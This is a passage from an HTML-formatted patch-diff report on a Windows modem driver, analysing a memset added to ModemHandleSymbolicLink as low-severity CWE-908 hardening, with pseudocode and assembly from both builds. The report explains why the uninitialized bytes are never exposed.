&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;modem_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity Score:&lt;/strong&gt; 0.9927&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt; 99 matched functions, 1 changed function, 98 identical functions, 0 unmatched functions in either direction.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch adds a &lt;code&gt;memset&lt;/code&gt; that zero-initializes the second kernel pool buffer allocated in &lt;code&gt;ModemHandleSymbolicLink&lt;/code&gt; during device-interface setup, matching the zeroing already applied to the first buffer. This is a CWE-908 (Use of Uninitialized Resource) hardening change. There is no demonstrable information disclosure: the uninitialized bytes are never read out, so the impact is defense-in-depth only. Severity: Low.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. Vulnerability Summary&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low (defense-in-depth hardening; no demonstrable disclosure)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Use of Uninitialized Resource (CWE-908)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;ModemHandleSymbolicLink&lt;/code&gt; @ &lt;code&gt;0x1C00076CC&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root Cause &amp;amp; What Changed:&lt;/strong&gt;
&lt;code&gt;ModemHandleSymbolicLink&lt;/code&gt; builds a &lt;code&gt;\DosDevices\&lt;/code&gt; symbolic link and registers the modem device interface. When invoked in create mode (&lt;code&gt;a3 != 0&lt;/code&gt;), it allocates two 0x202-byte &lt;code&gt;PagedPool&lt;/code&gt; buffers with tag &lt;code&gt;'UMDM'&lt;/code&gt;:
1. &lt;code&gt;Destination.Buffer&lt;/code&gt; for the &lt;code&gt;\DosDevices\&amp;lt;FriendlyName&amp;gt;&lt;/code&gt; link name. This buffer IS zeroed with &lt;code&gt;memset(buffer, 0, MaximumLength)&lt;/code&gt; immediately after allocation in &lt;strong&gt;both&lt;/strong&gt; builds (at &lt;code&gt;0x1C0007736&lt;/code&gt;).
2. &lt;code&gt;DeviceName.Buffer&lt;/code&gt; for the Physical Device Object name (queried with &lt;code&gt;DevicePropertyPhysicalDeviceObjectName&lt;/code&gt;). In the &lt;strong&gt;unpatched&lt;/strong&gt; build this second buffer is &lt;strong&gt;not&lt;/strong&gt; zeroed before use; in the &lt;strong&gt;patched&lt;/strong&gt; build a &lt;code&gt;memset(buffer, 0, 0x202)&lt;/code&gt; is inserted immediately after the allocation (at &lt;code&gt;0x1C00077E1&lt;/code&gt;–&lt;code&gt;0x1C00077EE&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;code&gt;IoGetDeviceProperty&lt;/code&gt; fills only the actual PDO-name bytes plus the terminator; the tail of the 0x202-byte buffer retains stale pool contents in the unpatched build. However, the stale tail is never exposed: &lt;code&gt;DeviceName.Length&lt;/code&gt; is set to &lt;code&gt;ResultLength - 2&lt;/code&gt;, &lt;code&gt;IoCreateSymbolicLink&lt;/code&gt; consumes only &lt;code&gt;Length&lt;/code&gt; bytes as the link target, and the buffer is freed with &lt;code&gt;ExFreePoolWithTag&lt;/code&gt; immediately afterward. No code reads the bytes beyond &lt;code&gt;Length&lt;/code&gt;, and nothing copies them to a caller-observable location. The patch is therefore a hardening measure (zero-before-use, consistent with the sibling buffer), not the closure of a demonstrable leak.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Reachability &amp;amp; Data Flow:&lt;/strong&gt;
1. &lt;code&gt;DriverEntry&lt;/code&gt; (&lt;code&gt;0x1C000D008&lt;/code&gt;) sets &lt;code&gt;DriverObject-&amp;gt;DriverExtension-&amp;gt;AddDevice = ModemAddDevice&lt;/code&gt; (&lt;code&gt;0x1C0006B60&lt;/code&gt;).
2. The PnP Manager invokes &lt;code&gt;ModemAddDevice&lt;/code&gt; when a modem device is enumerated. &lt;code&gt;ModemAddDevice&lt;/code&gt; (and the PnP dispatch routine &lt;code&gt;ModemPnP&lt;/code&gt; at &lt;code&gt;0x1C0006EF0&lt;/code&gt;) call &lt;code&gt;ModemHandleSymbolicLink(PhysicalDeviceObject, DeviceExtension+0x48, create)&lt;/code&gt;.
3. In the create path, &lt;code&gt;ModemHandleSymbolicLink&lt;/code&gt; allocates the 0x202-byte &lt;code&gt;DeviceName.Buffer&lt;/code&gt;.
4. The buffer is passed as the &lt;code&gt;PropertyBuffer&lt;/code&gt; to &lt;code&gt;IoGetDeviceProperty(DevicePropertyPhysicalDeviceObjectName)&lt;/code&gt;, which partially fills it.
5. &lt;code&gt;IoCreateSymbolicLink(&amp;amp;Destination, &amp;amp;DeviceName)&lt;/code&gt; uses only &lt;code&gt;DeviceName.Length&lt;/code&gt; bytes; the buffer is then freed.&lt;/p&gt;
&lt;p&gt;This code runs only during PnP device setup/enumeration. It is not reachable from an untrusted IOCTL request surface.&lt;/p&gt;
&lt;h3&gt;3. Pseudocode Diff&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ModemHandleSymbolicLink, create path (a3 != 0)&lt;/span&gt;
&lt;span class="c1"&gt;// ... first buffer (Destination) allocated and memset(...,0,MaximumLength) in BOTH builds ...&lt;/span&gt;

&lt;span class="c1"&gt;// Second buffer for the PDO name&lt;/span&gt;
&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WCHAR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PagedPool&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x202u&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x4D444D55u&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// &amp;#39;UMDM&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;DeviceName&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nullptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DeviceProperty&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-1073741670&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LABEL_14&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// --- PATCHED VERSION ADDS: ---&lt;/span&gt;
&lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DeviceName&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MaximumLength&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;2L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// zero entire 0x202-byte allocation&lt;/span&gt;

&lt;span class="n"&gt;v10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IoGetDeviceProperty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;PhysicalDeviceObject&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;DevicePropertyPhysicalDeviceObjectName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;DeviceName&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MaximumLength&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// 0x200&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;DeviceName&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;// (unpatched: uninitialized; patched: zeroed)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ResultLength&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DeviceName&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ResultLength&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;// only valid PDO-name length is used&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;IoCreateSymbolicLink&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;Destination&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;DeviceName&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// consumes DeviceName.Length bytes only&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ExFreePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DeviceName&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// buffer freed; tail never read&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The only source-level change between the two builds is the added &lt;code&gt;memset(v9, 0, DeviceName.MaximumLength + 2LL);&lt;/code&gt; and the corresponding decompiler variable rename (&lt;code&gt;v9&lt;/code&gt; → &lt;code&gt;DeviceName.Buffer&lt;/code&gt;).&lt;/p&gt;
&lt;h3&gt;4. Assembly Analysis&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Unpatched — second allocation, no zeroing before &lt;code&gt;IoGetDeviceProperty&lt;/code&gt;:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00077A9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;202&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NumberOfBytes&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00077AE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;DeviceName&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;Len&lt;/span&gt;&lt;span class="n"&gt;gth&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;2000000&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Len&lt;/span&gt;&lt;span class="n"&gt;gth&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MaximumLength&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x200&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00077B5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PoolType&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PagedPool&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00077BA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;4&lt;/span&gt;&lt;span class="n"&gt;D444D55h&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Tag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;UMDM&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00077C0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_ExAllocatePoolWithTag&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00077CC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;DeviceName&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Buffer&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00077D0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00077D3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C00077DF&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00077D5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;C000009Ah&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INSUFFICIENT_RESOURCES&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00077DA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;loc_1C00078AF&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;---&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;no&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;here&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tail&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stays&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;uninitialized&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;---&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00077DF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;DeviceName&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MaximumLength&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BufferLength&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x200&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00077E4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;arg_18&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ResultLength&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00077E8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;50&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;ResultLength&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00077ED&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PropertyBuffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uninitialized&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00077F0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DeviceObject&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00077F3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;Bh&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DevicePropertyPhysicalDeviceObjectName&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00077F8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_IoGetDeviceProperty&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Patched — &lt;code&gt;memset&lt;/code&gt; inserted between allocation and &lt;code&gt;IoGetDeviceProperty&lt;/code&gt;:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00077AD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;202&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NumberOfBytes&lt;/span&gt;
